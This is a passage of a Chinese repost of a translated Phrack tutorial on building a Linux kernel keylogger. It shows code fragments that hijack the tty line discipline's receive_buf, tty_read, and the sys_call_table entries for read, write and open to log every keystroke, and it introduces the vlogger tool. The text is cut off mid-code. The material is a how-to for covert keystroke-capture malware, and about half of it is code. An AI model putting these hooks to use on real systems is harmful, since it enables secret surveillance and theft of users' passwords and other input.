linux open dev/tty0 receive_buf,书写基于内核的linux键盘纪录器(p9-0e)(3)

书写基于内核的linux键盘纪录器(p9-0e)(3)

2008-04-09 04:00:06来源:互联网 阅读 ()

c4468b3f4df77e96b0a416fa2a870fba.png

底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。

# /usr/src/linux/drivers/char/n_tty.c */

static void n_tty_receive_buf(struct tty_struct *tty, const

unsigned char *cp, char *fp, int count)

参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。

让我们深入的看一看tty结构

# /usr/include/linux/tty.h

struct tty_struct {

int magic;

struct tty_driver driver;

struct tty_ldisc ldisc;

struct termios *termios, *termios_locked;

...

}

# /usr/include/linux/tty_ldisc.h

struct tty_ldisc {

int magic;

char *name;

...

void (*receive_buf)(struct tty_struct *,

const unsigned char *cp, char *fp, int count);

int (*receive_room)(struct tty_struct *);

void (*write_wakeup)(struct tty_struct *);

};

要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到

我们的new_receive_buf()函数来记录用户的输入。

举个例子:我们要记录在tty0设备上的输入。

int fd = open("/dev/tty0", O_RDONLY, 0);

struct file *file = fget(fd);

struct tty_struct *tty = file->private_data;

old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函数

tty->ldisc.receive_buf = new_receive_buf; //替换成新的new_receive_buf函数

//新的new_receive_buf函数

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,

char *fp, int count)

{

logging(tty, cp, count); //纪录用户击键

/* 调用回原来的receive_buf */

(*old_receive_buf)(tty, cp, fp, count);

}

/*e4gle add

其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用

内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者

效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。

*/

------[ 3.2.4 - tty_read函数

当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。

# /usr/src/linux/drives/char/tty_io.c

static ssize_t tty_read(struct file * file, char * buf, size_t count,

loff_t *ppos)

static struct file_operations tty_fops = {

llseek: tty_lseek,

read: tty_read,

write: tty_write,

poll: tty_poll,

ioctl: tty_ioctl,

open: tty_open,

release: tty_release,

fasync: tty_fasync,

};

还是举上面的纪录来自tty0的输入信息的例子:

int fd = open("/dev/tty0", O_RDONLY, 0);

struct file *file = fget(fd);

old_tty_read = file->f_op->read; //保存原来的tty_read

file->f_op->read = new_tty_read; //替换新的tty_read函数

/*e4gle add

劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下:

static ssize_t new_tty_read(struct file * file, char * buf, size_t count,

loff_t *ppos)

{

struct tty_struct *tty = file->private_data;

logging(tty, buf, count); //纪录用户击键

/* 调用回原来的tty_read */

(*old_tty_read)(file, buf, count, ppos);

}

*/

------[ 3.2.5 - sys_read/sys_write函数

截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译

的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel hacking”

若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到,

如果大家不明白请参考以上文献。

我提供以下code来实现劫持sys_read和sys_write系统调用:

extern void *sys_call_table[];

original_sys_read = sys_call_table[__NR_read];

sys_call_table[__NR_read] = new_sys_read;

当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking一文

中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。

--[ 4 - vlogger

这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中

介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充。

vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。

----[ 4.1 - 步骤

要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数的

方法(见3.2.3节)。

在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我们

同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的

receive_buf()函数。

// 劫持sys_open调用

original_sys_open = sys_call_table[__NR_open];

sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()

asmlinkage int new_sys_open(const char *filename, int flags, int mode)

{

...

//调用original_sys_open

ret = (*original_sys_open)(filename, flags, mode);

if (ret >= 0) {

struct tty_struct * tty;

...

file = fget(ret);

tty = file->private_data;

if (tty != NULL &&

...

tty->ldisc.receive_buf != new_receive_buf) {

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com

特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

相关文章

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值